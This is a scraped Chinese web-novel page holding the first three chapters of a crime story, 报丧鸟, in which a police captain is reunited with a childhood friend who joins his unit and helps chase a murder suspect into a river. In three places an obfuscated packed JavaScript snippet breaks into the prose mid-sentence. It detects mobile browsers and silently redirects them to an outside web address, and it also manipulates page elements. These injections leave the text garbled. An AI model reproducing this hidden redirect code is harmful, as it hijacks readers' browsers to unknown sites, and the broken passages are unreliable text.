《报丧鸟 [刑侦]》 1. 第一章 “……啊!” 一声短促沉闷的惊叫,似一记重锤在昏沉的意识上一叩,宋柏猛然惊醒。 与意识共同复苏的是由胸腔席卷四肢百骸的剧烈闷痛,强烈的痛楚如一块巨石压/在他的胸口,宋柏近乎挣/扎地喘息了几下,控制不住地偏头喷/出大口血沫。 几缕火光透过简陋的木板门的缝隙洒落进来,借着这点光亮,宋柏看清这似乎是个废弃的毛坯房,很小,像一只砖石垒砌的棺材。 嘭! 毛坯房外,什么东西重重撞上木板门,震得门上灰尘簌簌直往下落。宋柏勉强支起身,灌铅般沉重的四肢不听使唤,他跄踉扑到门边,凑在一道裂缝上向外看去。 外面火光冲天,地上缠斗在一起的两人仿佛被火烤至扭曲的剪影,一个熟悉的清瘦人影按着另外一人,手中利刃高举,下一秒就要当头挥下。 瞬间宋柏意识到什么,攥拳拼命捶门,想从房中挣脱出去,可长久没有进食饮水的虚弱和严重的外伤令他很难再动一动手脚,拼尽全力也只能把门板砸得簌簌震动。 不,不—— 他甚至没有发出任何音节,清瘦人影已经挥刀而下,被火光淬红的刀尖噗地没入另一人的身体,后者只是抽搐着挣/扎了一下就再也不动了。 江桢! 干渴到极致的喉咙只能发出不成调的咔咔声。宋柏绝望地看着那熟悉的人影随手把刀扔下,向他所在这边走来。下一刻木板门被人从外面踹开,他的上身被一双手抬起,抱进怀里。 浓烈的血腥气萦绕在鼻尖,令他已经漂浮升空的灵魂骤然回到躯壳之中。 “宋柏,醒醒!” “醒醒宋柏!宋柏!” 宋柏抬起沉重的眼皮。江桢似乎很害怕,颤/抖着托起他的下巴,手上的血蹭在冰冷的皮肤上,有灼热温度般烫得他一个激灵,蓦地更清醒了。 “待会儿一出去你就往山下跑,跑不动了就找个树丛躲起来……” 那你呢?地上那个人是谁,你刚刚对他做了什么? 宋柏望着江桢清丽的脸,他整个人似当头被血泼过,飞溅的血珠混着泪挂在颊边,让他显得格外脆弱而狰狞。 我们在哪儿?不是出来郊游吗?为什么会在这里,为什么会变成现在这样? 无数疑问呼之欲出,可不管他怎么努力,哪怕拼着撕裂喉咙的痛楚,都再发不出任何声音。 江桢搂住他的肩,偏了一下脑袋,似乎想要回头看,但忍住了。宋柏竭力向外看去,地上那人胸/前绽开大团血色,不能瞑目地睁着浑浊下去的眼睛,毫无疑问已经没有气息了。 “我不走了。”江桢像是知道他心中所想,表情疲倦却带着一丝解脱。 “我走不了了。” 不,不,站起来和我走,我要把你带出去,我得把你带出去。 一瞬间心脏狂跳,像要裂开一般剧痛。宋柏哑声嘶吼,紧接着失去平衡,咚一声闷响,他再次睁开眼睛。 映入眼帘的家里的天花板,他发现自己居然裹着被子倒在自家卧室的地板上,不用细想也知道,是睡觉不老实从床上掉下来的。 窗外一阵麻雀啾鸣,那些惊险的画面恍如隔世。 原来只是一场梦。 他又梦到十九岁的那个夜晚了。 抬手按了按微微作痛的眉心,宋柏起身看了一眼时间,已经是清晨5点钟了。拉开窗帘,窗外盛夏时节的章宁市被笼罩在温柔的暖橙色朝阳中,再过一个小时,这座繁华都市就会苏醒,居住在此的人们又会开启忙碌而平凡的一天。 已经睡不着了,宋柏索性起床洗漱。 哗啦啦的流水声令他精神一振,噩梦带来的不悦烟消云散。冰箱里还有面包,他拿出来和盒装牛奶一起吃下肚,随手拿起餐桌上放着的一份人事档案。 蓝底证件照上,身着黑色学警短袖t恤的年轻人正在冲他微笑,黑白分明的眼睛弯出形状优美的弧度,旁边的个人信息栏上赫然写着:江桢,二十六岁。 今天是江桢从辖区派\出所上调至章宁市长宁刑侦支队的日子,作为支队长的宋柏亲自提出的申请,长宁分局局长康永平看到江桢实习期间和在基层亮眼的成绩,欣然同意宋柏纳新。 宋柏把档案翻得哗啦作响,却没有把上面的内容看在眼里。这份档案他已经烂熟于心,根本不用再看:阔别十年,他迫切地想要知道江桢离开章宁之后都做了些什么。 这份档案记录的个人经历中规中矩:高等招生考试进入警校,以中等偏上的成绩考研,研究生毕业之后公安联考进入派\出所,目前工作满一年。 除了多读了几年书,在人生关键节点上的选择和宋柏一模一样。 他和江桢一起长大,亲如手足。也许正因如此,那个血腥的夜晚之后,即使有意疏远,他们的人生还是殊途同归。 宋柏看着照片上的江桢,年轻,俊秀,找不出一丝伤痛的痕迹。 他叹了口气,拎起东西出门。 . 章宁市长宁公安分局。 上午八点,警员们基本已经到齐,在各自的位子上抓紧时间摸鱼吃早饭。宋柏走到刑侦支队办公室,推门,一股烧饼夹肉的油香扑鼻而来。 “哎,柏哥,这儿呢!”警员杨繁率先回头,手里拿着的正是还剩两口的烧饼夹肉。 “队长来了还不快吃?剩一口给我留着呢?”副支戴奇夹着个蓝色文件夹,一巴掌拍在这货脑袋上,后者仓鼠一样风卷残云,把烧饼都塞嘴里了。 唯一的女警员仲夏笑道:“别噎死你。” 说罢,她又扭头笑吟吟地对坐在后面的一人说:“别理他,他就那样。” 宋柏顺着她的目光看过去,只见三人之后,最里面离他那间支队长办公室最近的办公桌前,坐着一个人。 那人也正抬起头来看他,看到他,脸上明显有了笑意,扬声道:“宋柏!” 这熟悉的声音轻而易举地穿过九年的岁月,撞入宋柏的耳朵。 那正是江桢。 他一身簇新的夏执勤服,浅蓝色衬衣下摆妥帖地塞在腰里,黑色制式长裤裹着一双长腿,显得比例格外好,难怪仲夏会当着他的面调\戏杨繁,那挺拔的气质不管放在哪里都会惹人注意。 他长高了,宋柏想。 也许是卡在生长期的末尾窜了窜,江桢只比一米八整的戴奇矮一点。褪\去了少年时青涩的情态,之前的学警经历和一年多的工作经验为他平添了一份镇定和沉稳,虽然模样没变,可小时候那有些怯弱的气质消失得看不出一丝一毫痕迹,宋柏看着有些陌生的江桢,心里泛起一种说不清的情绪,像是苦涩。 江桢向他走过来,用之前绝不会有的热情语气道:“这么厉害,都做队长啦。以后我请假还有算津贴的时候能不能请你走后门?” “哟,”戴奇第一个反应过来,“你们之前就认识?” “……”宋柏收回目光,“我师父的儿子。” 江桢没说话,在等他的下文。 宋柏继续:“麻烦精,上学请家长,我替师父去了不止一次。” 说罢他伸手按住江桢的后颈,明显感到对方意外的一僵,就这么顺从地被他的手心按着转了个方向。 “认识一下,戴奇、杨繁、仲夏。”宋柏说。 杨繁在裤子上抹抹吃烧饼夹肉沾上油的手,伸了出来。江桢乖乖叫了声小杨哥,他这张脸一挂上低眉顺眼的表情,实在太有迷惑性了,杨繁不由自主地咧嘴一乐,下一秒另一只手横空插\进他们两个之间,啪一下把他的爪子拍到了一边。 宋柏冷着张脸,不爽得就像被撬了墙角:“握什么握,你没事是吧?没事带他去报道。” 仲夏的表情“哦哟”一下复杂了起来。 江桢倒是没什么反应,收回手,一副人畜无害的样子。他的一截脖颈露出立挺的蓝色制服外,皮肤石质般白皙,加上天生一对尾梢上扬的圆眼睛,整个一刚出社会就被骗进无良公司的大学生,怎么看都和警察搭不上关系。 宋柏治下刑侦支队号称“长宁虎狼之师”,人才遍地走,精英多如狗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338582|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。宋柏其人,相貌一等一英俊,奈何作风也是一等一凌厉严肃,是那种吃泡面加水要正好加到刻度线上,泡的时间要和说明书一模一样的规矩狂。 江湖传闻,他爬到刑侦支队的位置是因为胆子大肯玩儿命,捣毁的犯罪团伙就像香飘飘奶茶一样能够绕地球一圈;江湖又传闻,之所以次次行动都能成功,是因为宋支队无论是扮流\氓混混,还是脑子有泡的公子哥都非常之像,但这画面太美,队里没有人敢想象。 长宁刑侦支队已经有几年没有纳新,因为新人不是满足不了宋柏的要求,就是自己忍受不了如山倾倒的工作量。杨繁已经是队里最年轻的一员了,江桢一来,他算是有了后辈。而且这后辈看着礼貌好说话,杨繁很满意,已经开始琢磨如何迅速结成同盟,日后共同度过孤单寂寞冷的漫漫加班夜。 他清清嗓子,伸手想勾江桢肩膀,想起宋柏刚刚那张臭脸,猛地收回手打了个摆子,道:“小江,走,哥带你报道去。” 江桢答应一声,俩人哥俩好地出去了。 办公室的门咔哒合锁,戴奇抱着胳膊,一脸发现了不得了的事情的表情对宋柏说:“我怎么感觉你不是很满意啊,不是你看见人家的名字就哭着喊着要把他提上来的吗,后悔了?” “谁哭着喊着了?!” “差不多吧,那殷勤劲儿。怎么,想从师父那儿讨个人情啊?” “人情说不上,”宋柏正在收拾办公桌,他把手里的签字笔倒过来,一下一下磕着桌面,“我是想看着他点儿,怕他不安分。” 戴奇好奇地“嗯?”了一声:“怎么个不安分法?” “小时候我师父师母都忙,他和我妹一个学校一个年级,家又住得近,我妈就老把他接回我家吃饭写作业。” “他不怎么爱说话,没有朋友,有一阵子作业老是不写。我问我妹怎么回事,她说有一班高年级的男生老是逮着他欺负,把他堵厕所不让他出去,往他桌洞扔垃圾,管他要钱。他作业也不是故意不写,发下来别人就专门撕他一个人的卷子,他们根本不让他写。” 戴奇说:“这不是欺负人吗,搁现在算校园霸凌了吧,没人管管?” 被问及此,宋柏的语气渐渐冷下来:“没有,小男孩么,问起来大家都不约而同地说是闹着玩的。江桢连状都没告,就这么被欺负了一年多。后来有一天,老师忽然给师父打电话,说要请家长,我替他去了。” 宋柏微微抬眼,凝望着一片空气,似乎在虚空中看到了多年以前的场景: 冬日午后,阴天,两侧无窗的学校走廊灰蒙蒙的,小江桢站在那儿,手上、头上乃至校服衣领上都是血,眼睛下面划破了一点,留下一道小小的伤口,除此之外再没别的伤,身上的血都是别人的。 他那时候多大?宋柏也记不太清了,约莫十三四岁,初中。 刚刚开始抽条的孩子抬起眼睛,声控白炽灯的灯光在他眼中投出一个光圈,他的眼睛很亮,亮得瘆人。 那是宋柏第一次感受到江桢身上那似乎与生俱来的戾气,他藏得那么好,那么深,以至于连宋柏都有些吃惊,他简直像忽然换了一个人。 “然后呢?怎么了啊?”戴奇催着下文。 宋柏这才回神:“哦,就是他把四个高年级的孩子打了。打得……很惨,他倒是一点事没有。” 戴奇笑了一下:“听起来很有种。但确实不像他能干出来的事,他看起来就是那种学生时代的尖子生,老师家长眼里的好孩子什么的。” 宋柏的表情可不像是在夸江桢:“他完全不是。” 他顿了顿,清晨梦中少年江桢那张悲伤的脸就在眼前。 他用力闭了一下眼:“一个狼崽子。” 戴奇正要接话,办公室的门忽然被人从外面用力拉开了,是刚走出去没多久的杨繁又折返了回来。 他有点着急,一举手里的文件夹:“柏哥!漕桥派\出所上报恶性伤人致人死亡一例。” “嫌疑人在分\尸时被目击,随后弃尸而逃,漕桥派\出所老余正带人在抓!” 2. 第二章 7月14日——昨天,中心城区与长宁河之间的漕桥棚户区发现一具男性尸体。 漕桥棚户区内靠为向外扩张而新建的高层写字楼群,外沿长宁河岸铺开,三面与建筑工地、新地铁站、大型购物中心等设施相连,是个典型的内城遗忘区。 这里本是章宁市最早的中心区,一片都是几户共住的三层小砖楼。放在过去,这种筒子楼条件要比周围的平房好得多,楼里有公共燃气灶和卫生间,不用出去和人抢厕所,因此新城发展起来的时候,很多人没有搬离这里。 没想到章宁市发展得如此之快,这个原本设施齐全的片区很快成为被城市排除在外的角落,外来务工人员被低廉的房租吸引过来,聚集至此,就像脏水滋生蚊蝇,这里很快成了酝酿犯罪的最佳摇篮。 尽管如此,平时,这里接警处理的不外乎酗酒滋事、打架斗殴,像杀人这种恶性事件,在这里也属罕见。 更何况是七一四案这样,行凶过程、凶手本人都被目击的情况。 警用红旗车随着行驶轻微晃动,江桢和杨繁并肩坐在后座翻着案情文件。 他七岁起搬到章宁市生活,对这里的一草一木都无比熟悉。随着案情描述,当日漕桥棚户区的场景仿佛就在他眼前,被一寸一寸描摹还原了出来。 7月14日,凌晨,暴雨。 漕桥棚户区正在进行迁退改造,大部分住户都已经撤出老旧的危楼,只有少数平房还矗立在碎砖和玻璃之间。 其中紧邻漕桥诊所的一间平房外,立着“寿衣、寿盒”的手写木板,缺了一角的窗玻璃在暴雨摧残下岌岌可危,仿佛下一秒就会碎裂。 寿衣店破门紧闭,里面黑着灯,一副没人在住的样子。这一片只有亮着灯大声开着电视机的邻居家比较热闹——这天有球赛转播,有时差,从夜里两点一直播到早晨。 邻居一人在家看得正酣,忽然一道闪电砸得极低,甚至带出了嘭一声闷响。 电视屏幕应声熄灭,邻居在这地方住了一辈子,不用想都知道是又跳闸了。 平房电闸都在外面,邻居想了想正进行到精彩部分的球赛,咂咂嘴,披着胶皮雨衣,起身出门,准备去修自家电闸。 就在这时,隔壁紧闭的大门内传来微弱的响动。 这屋晦气,住在隔壁本来就挺吓人的,邻居虽然强迫自己不去管隔壁的事,修好电闸就走,可还是紧张地绷直了背,留神那边的动静。 喀啦……喀啦…… 窸窸窣窣的响动,听起来就像又尖又硬的东西在抓水泥地。 这房子平时堆满了纸扎人、香烛元宝,寿衣店的老板岳小伟又一贯神神叨叨,口中满是鬼神,该不会…… 该不会是这房子里的纸人活了,正在挠窗子吧? 邻居一悚,旋即笑话这么大岁数了还自己吓唬自己。他琢磨着又闹耗子了,在自家电视的声音中摸黑回家。 不知怎么,电视重启,却跳到了戏曲大舞台,戏里的人声咿呀凄厉,正在哭冤。 在这咿咿呀呀的哭声中,寿衣店的喀啦声更大了。 那显然不是老鼠能发出的声音,它听起来更利,落下得更重,嘭、嘭、铛、铛,这声音总像在哪儿听过。 邻居停在寿衣店门口。许久没人擦过的窗玻璃影影绰绰,他探头往里看了看,犹豫要不要从这个晦气地方走过。然而如果不走过,他又是回不了家的。 正在他停下来纠结的这几秒中,本应该因屋主正在酣睡而紧锁的大门咣当一下,被人从里面踹开,邻居再度听到了那尖锐的东西划过水泥地的声音,噌琅——! 他低头一看,血色红漆掉了一半的铁门槛上,寒光骤然闪动,在地上拖动的不是别的,正是一把沾满血肉的剔骨刀! 那熟悉的声音,分明是菜市场里,庖解畜生时斩肉剁骨的声音。 全身的寒毛瞬间被冷汗打湿,邻居怖得一声尖叫堵在嗓子里出都出不来,只有张开嘴,嘶嘶回吸,那冰冷潮湿,泛着血腥的空气却无论如何都吸不进胸腔里。 顺着那把刀看去,葱白的衣袖、惨白而两颊酡红的脸、上嵌红珠的黑绒毛,一双血红的眼睛,在纸扎的引魂幡后露了出来,对他缓缓地、缓缓地—— 笑了一下。 肩头冷不丁被拍了一下,江桢喉咙一紧,下意识猛地扭头。 杨繁显然看出了他一瞬流露出的害怕,戏谑道:“看完了吗,是不是跟那谁谁讲鬼故事似的,就那个,传说最后是讲鬼故事的时候自己把自己给吓死了。” 江桢低下头,定了定神,又翻一页:“是挺吓人的。” “嗐,大雨天的,夜里,这老爷子一个人和刚杀完人拎着刀出门的洪二发打了一照面。现场勘察之后初步推断,洪二发和岳小伟一起喝酒,之后不知是何原因,洪二发持刀杀害岳小伟。 “这把刀捅破了岳小伟的心脏。洪二发发现岳小伟死了,就找了一把本在厨房的剔骨刀,想要分/尸。 “操作过程中,他那身衣服沾满了血,也不知怎么想的,就在岳小伟的店里弄了身寿衣穿。也可能是,觉得打扮得神神鬼鬼的,夜里出去就算有人看见也没人敢拦,嘿,可惜咯,刚把这岳小伟卸了一半,让出来修电闸的邻居撞个正着。 “要我说洪二发也是杀人心虚,不出声躲在屋里不就完了,怎么会想到干脆弃尸逃跑?给这邻居老爷子吓的,没死过去算有造化,以为自己真见鬼了,人都到派/出所了还说有鬼杀人,现在都在医院没出来呢!” 犯案后的洪二发最终选择扔掉那把剔骨刀,抛下屋里的尸体和吓得愣在原地的目击者逃跑。 凌晨的棚户区根本没人在外游荡,就算有,也被目击者那嗷一嗓子惨叫吓得不敢出门,毕竟这里平时老有人打架,不怎么太平。 无人阻拦,洪二发就这么堂而皇之地越过一地拆毁的凌乱砖块跑了。百米之外,小诊所的监控摄像目送着他,奔入了茫茫雨夜。 仅仅一天之后,7月15日,警察就在监控的帮助下找到了洪二发:他目前藏匿在长宁河畔的自建棚户房内,漕桥派\出所大队长余刚已经先行带人出发,实施抓捕。 “嘿,你这么低着头看也不晕车。”杨繁看向窗外,遥遥的,已经能够看到奔腾的长宁河。 “不晕。”江桢闭上眼,把刚刚看过的案情在脑子里梳理了一遍,某个地方出错的感觉在他脑海中盘桓不去,但一时又想不出究竟是哪里不对。 他下意识抬头看向副驾的宋柏,后者正在接电话,那头不知是谁急促地大声说了什么,宋柏沉声道:“知道了。” 随后吩咐开车的学警:“把警笛拉响,前面左拐,上跨河大桥,洪二发跑了,现在就在桥上。” 学警心中一凛,骤然尖锐的鸣笛声划破章宁市区的宁静,警用红旗利落拐上跨河大桥,一个持刀狂奔的大汉撞入一车人的视线,在后面紧追不舍,却被不知内情的车流堵住的正是余刚。 那个大汉就是他们要抓的洪二发。 杨繁“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋柏脱了警用防刺背心,已经翻过护栏,见余刚过来,抛过了自己的步话机和耳麦。 “宋支队你……”余刚心说你不会也要跳吧,虽然知道你有能耐但这可是正在泄洪的长宁河,给它取名长宁就是因为动不动就暴涨淹死人! 余刚这边天人交战之际,一道矫健身影越过拥堵的小轿车,那是本应该和杨繁一起守在桥头的江桢。 “你要干什么?”宋柏冷静镇定的表情终于有一丝碎裂。 江桢看了他一眼。 只是眼神交错,宋柏已经预知他要做什么一样,伸手就把人往回拉。 然而还是晚了一步,江桢干脆利落地撑住栏杆向外一跃,浅蓝色制式衬衣翻飞一角,整个人飞速向下坠落。 宋柏脸色骤变。 桥上不明觉厉的围观群众一片哗然,甚至有人探出车窗吹哨鼓掌。 余刚探头向下看,只见前后两人跳下的水面翻起波澜,随后湍流不息的河水卷走一切痕迹,没有人冒头,刚刚下去的两人鬼魅般消失了。如果真的出了什么事……他背后的寒毛都立了起来。 “现在呢,等水上派\出所?”他一身冷汗,看向宋柏。 回答他的是宋柏一跃而下的身影。 尽管毫不意外,望着滚滚而逝的河水,余刚仍是一悚,干脆扔掉步话机,趴在栏杆上对岸上警员吼道:“愣着干吗!!给我问水上派\出所多久能到!” 3. 第三章 七月盛夏,一切都被太阳炙烤得格外燥热,长宁河水也不例外,表面透光的部分被晒得温热,泛起阵阵腥臭。 江桢在卷着泥沙和垃圾的河水中睁开眼,甚至没有露头换气,就四周观察一下,跟着洪二发即将匿于水流的身影游去,顺着水流,他的身体像一尾灵巧的鱼,眨眼间抓住了对方的脚踝。 洪二发没想到有条子敢直接跳下来追自己,本以为潜逃在即,怎么肯束手就擒,立刻照着江桢的头狠狠踢了两脚,想要上浮换气。即使有水流做缓冲,那猛踢两下的力道也几乎能踹断骨头,江桢顿时被踹得口鼻流血,一缕血色随水倏忽漫开。 洪二发正要开溜,却蹬不动腿。他睁开被脏水冲刷的眼睛,没想到江桢竟没有躲开,而是硬挨下来之后,拖着他往更深处游去! ——这不要命的条子看着瘦弱,手劲居然这么大,被踹了依旧死死钳着他的脚踝,还在向上攀,转眼间已经掐住了他的脖子。 本就不多的空气瞬间告罄,洪二发咯一声,张口被掐出一串气泡。快要失去知觉前,只见掐着他的年轻人黑发如水藻漂浮,浸水的眼睛又黑又沉,真像长宁河底难见天日、前来索命的水鬼。 江桢把屏一口气的时间算得正好,眼看对方被掐得失去知觉,他的氧气也耗得差不多了,立刻拖着人踩水向上,准备冒头上岸。 忽然他肩头一冷,周围的浊水迅速染上血色,原来是对方拼着最后一丝力气,用落水都没有放开的刀砍进了他的后肩! 那刀锋在血肉中一顿,带着冷冷寒意的刃翻出一阵剧痛,江桢猛然呛水,就在这失防的几秒钟被对方用胳膊卡住了脖子。 喉间一紧,接着江桢甚至听到了自己颈骨发出的不堪重负的咯咯声。 他下水前这口气实在是满打满算,多一秒在水里都有窒息的风险,被这么一掐,只觉得浑身血液嗡嗡上涌,连伤处都不觉得疼,下意识用力向后肘击,没想到对方这次有所准备,也硬挨下来,拼着把他拖死的力气向下沉去。 江桢口中氧气耗至极点,终于控制不住地齿关一松,腥臭的河水灌入口中,他竭力挣|扎了一下,手臂无力地随着水流拂开。 在水中屏息互搏耗费了氧气,饶是洪二发占了一丝上风,此刻也很难忍住上浮吸气的本能,正在用力上蹬,无奈江桢拼着最后一点意识像秤砣一样挂在他身上,颇有不一起耗死不罢休的架势。 洪二发拧回头用力扒开江桢钳在自己腰上的手,纠缠之际,哗啦入水之声从头顶响起,又有一人从天而降,直冲他游来。 洪二发骤然一惊,随后被迎面而来的枪托重重击中额头,失去了意识。 三人上方,警用红蓝爆闪灯照破浑浊的长宁河水,宋柏咬牙托起死沉的洪二发,被河上的警员接住。 他没有露头换气,而是径直调转方向,向着已经下沉很深的江桢游去。 湍急的水流把柔软的黑发向后拂,江桢双眼紧闭,眉头难受地拧紧,面色苍白。 他的手脚张开,就像睡在长宁河水里。 头顶的巡逻艇声,警员们的呼喊声和岸上尖锐的警笛声就像被河水阻隔在另一个时空之外。 宋柏在一片死寂中拼命下潜,混着泥沙的河水砸在他身上,裸\露在外的皮肤被石块和垃圾刮出道道血痕。 每一次将要够到江桢,湍流不息的滑\腻河水就把宋柏冲到更远一些的地方,他一口气屏到极限,却还没能碰到江桢看起来近在咫尺的手。 水流咚咚地叩击着他的耳膜,他分不清那是水声还是自己心脏狂跳的声音。 他想起清晨时那个不详的梦。 江桢靠着破烂的木楼梯,似是解脱而又有些感伤地说:“我不走了。” 我走不了了。 ——宋柏骤然发力探手,死死抓住江桢的手腕。 那一刻似是有所感应,原本意识全无的江桢睁开眼睛,没有聚焦的视线在他脸上扫过。宋柏愣了一下,旋即折身踩水,举起酸胀的胳膊用力把江桢托出水面。 下一刻他氧气告罄,本能地想要呼吸,污水争先恐后地涌入鼻腔,等在警用巡逻艇上的戴奇眼疾手快,一把把他拉了上来。 哗啦! 宋柏呛咳着出水,扭头就找江桢,后者毫无反应地仰躺在巡逻艇上,仿佛刚刚意识回笼只是宋柏在水中的错觉。 救生员双手交叠用力揉按江桢的胸口,另一艘艇上,杨繁一脸快要哭出来的样子:“江啊,你可别吓我,是我没看住你,你要是有个三长两短——” 他话没说完,一口水混着泥沙被江桢吐了出来,紧接着是剧烈的咳嗽,江桢猛地睁开眼睛,翻身就呕。 长宁河流经山区和章宁市所在的平原,里面不知藏了多少污泥垃圾,翻江倒海的恶心感搅紧肠胃,令他的喉管阵阵痉挛,被迫呕出胃袋里所有的东西。 天气酷热,过水之后贴紧在皮肤上的衣服却带着寒意,忽冷忽热又潮湿黏腻的感觉令江桢控制不住地打起哆嗦,他抖了一会儿,忽然被拉入一个结实的怀抱。 宋柏张开救生毯裹住他,把他的上半身搂起,让他的下巴能搁在自己的肩窝里。 江桢右肩的衬衣被砍烂了,血被水流冲淡,扩散到袖口处已经成了淡淡的粉色。宋柏用救生毯的一角用力按住那道不知是深是浅的伤,只感觉怀中江桢后背猛地一颤。 半晌,江桢抬手搭住宋柏肩膀,声音还带着些许呛水之后的沙哑:“……可以了。” 宋柏没有松手,反而把他的脑袋一按:“别动,稍等救护车马上就到。” 半湿的救生毯仿佛一道屏障,这个只有他们两人的空间之内,宋柏的心跳清晰有力,一下快过一下。 他好像在紧张。江桢想,心里掠过一阵怪异的感觉。他紧张什么? 江桢抬起眼,正好撞上宋柏看过来的目光。宋柏的额头不知被什么东西擦破了一块,一道细细的血线淌到了颧骨,在那儿凝住了。 “……”江桢这才有点心虚地揉揉鼻子,正想开口说些什么,旁边杨繁高声对着岸边喊到:“哎!在这儿,伤员在这儿呢!” “来了来了。”长宁中心医院的医生拎着个药箱,率先看到了躺在杨繁身边,像死鱼一样瞪着眼喘气的洪二发。 这孙子上巡逻艇就被拷上了,不知是被枪托砸的还是呛水呛的,脑子转不过来一样,也不挣\扎,闻声懵逼地看着医生。 医生跳上艇,蹲在他旁边看了看:“这也没什么事儿啊,就是有点脑震荡,撞上什么东西啦?啊?枪托砸的?谁啊这么大劲儿,这力气比上野猪了嘿。” 宋柏:“……” 杨繁:“……” 杨繁心说下次您开口之前先看看旁边有谁呢,求生欲令他牵起医生的手,不由分说拉到江桢这边:“您看看他,让砍了一刀。” 医生过来,只瞥了一眼,伸手一指宋柏:“他没事,擦点红药水就行。” 又揭开按在江桢肩上的救生毯,这才重重一咂舌,道:“这个也不严重,就是裂太长了,清创缝针吧。” 上了岸,戴奇三下五除二把人分成两拨,一拨回分局,另一拨去医院,该擦红药水擦红药水,该清创清创,各回各家,各找各妈。 实际上需要去医院的也只有江桢和宋柏两个人,救护车的拉门合上,狭小封闭的空间里,那种怪异感又回来了。 “那个……”江桢咳了咳,试图缓解没人说话的尴尬氛围,“宋柏你没事吧?” 他还没说完,宋柏哼地冷笑一声:“叫队长。” “……”江桢乖乖地重说了一遍,“宋队,您没事吧?” 宋柏俯下身来,眉骨上还带着血。他轮廓清晰,眉眼很锐,尤其像现在这样盯紧什么,压低眉峰说话的时候,冷峻英挺到给人以轻微的压迫感。 他逼近江桢,说的每一个字都像是在牙尖上磨了之后才滚落出来:“别以为我不知道你刚刚想干什么。” 江桢回报以无辜的眼神:“对不起……我太想早点立功了。” 宋柏眉梢重重一跳。 谁都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338584|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道这个理由太扯,他伸出食指戳着江桢薄伶伶的胸口,一字一顿道:“没有下次。” “好的宋队,保证没有宋队。”江桢干巴巴地回答。 “你还赌气?!”宋柏劈手往沿着河岸疾驰的救护车窗外一指,“你知道长宁河一年淹死多少人吗,你有几条命,敢这么往河里跳?” “我没想那么多,真的只是太想抓住他了。今天是我来的第一天,我知道是你把我调上来的,我不想让你失望。”江桢就像早已准备好了一样把这番话噼里啪啦地倒了出来。 他说得太流畅,一点磕巴都不打,任谁冷眼旁观都知道是场面话,可是落在宋柏耳朵里,最后那半句却变了味道。 我不想让你失望。 宋柏细细咀嚼这句话:意思是他还在乎我的心情。 他沉默了一会儿,竟然没再说什么。 江桢以为真是因为这番话获得大赦,立马又讨好地冲着宋柏笑了一下。 他长得好看,旁人都很难抗拒那一笑间眉宇飞扬起来的神采,没想到宋柏只瞥了他一眼,便转头冷脸道:“省省吧。” “你俩完事没?”早就等在一旁的医生冷不丁插话道,“我要开始缝了。” 宋柏意外道:“不用去医院吗?” “我这是负压救护车,人家出车二百,我出车五百,”医生准备好了生理盐水,把宋柏往旁边扒拉,“车上就能缝,缝好上医院拿药去,来趴好趴好,衣服剪了啊。” 江桢趴在担架上,医用剪刀破开他那件才穿了半天寿命就走到尽头的夏执勤服,露出光洁的背和肩头触目惊心的伤口。洪二发那把刀钝,伤是用蛮力切出来的,并不深,但是被河水污染,清理起来有些棘手。 “去,洗手,自己戴手套,拿纱布帮我按一下。”医生利落地指挥。 “我来?”宋柏看着江桢肩上那道伤,切口外缘的皮肤都翻了出来,好不凄惨。 “平时是会有一个急救护士的,凑巧了,今天市里有马拉松比赛,人都在那边。”医生已经准备好了肥皂水和小刷子,“堂堂支队长,不会晕血吧?” 宋柏这会儿洗完了手,戴上手套接过医生手中的纱布,迟迟没有按下去,似乎在考虑怎么用力才不会让江桢太痛。江桢本人下巴埋在折起的臂弯里,脸上反而没什么表情。 “别磨叽了就这么按。”医生把纱布块往伤口上一按,让宋柏接手,自己在脏污的伤口外缘倒上肥皂水,清理起来。 宋柏按着纱布块,指尖不可避免地按在江桢的皮肤上,肤色两相对比,江桢的背在灯光下泛出温润的光泽,让人联想起美玉。 他小时候有这么白吗?宋柏这样琢磨,觉得指尖有些发热。 肥皂水两遍,接着打开纱布,用双氧水、生理盐水轮流冲洗,直到嵌进血肉的泥沙被冲洗干净,顺着肩头流下的废液只有淡淡的血色。 医生埋头看了看,提醒到:“缝了。” 江桢“嗯”了一声,他一直无声无息,只在针尖刺入皮肉时隐忍地抿起嘴唇。 缝合,包扎,宋柏全程在旁看着,等到江桢坐起身,光着上半身试探地舒展了一下右臂,才问:“疼吧?” “还好。”江桢的语气就像那针缝在别人身上。 宋柏说:“疼就说话。” 江桢想了一下,诚恳道:“好吧,其实有点疼,那接下来我可以回家休息吗?” “借他一身衣服,明天我开车来还。”宋柏对医生说,掏出自己的钱包,从里面抽出一张银行卡拍给江桢,“休息个屁,疼还不长记性!” 江桢挨了训,却低头嘿嘿直乐,问:“卡密码?” 宋柏没好气地答:“还是那个。” 一旁吃瓜吃了一路的医生忍不住问:“你俩……余情未了?” 江桢:“嗯……应该算恩怨难消。” 医生一竖大拇指:“嘿,不是冤家难成双嘛!” 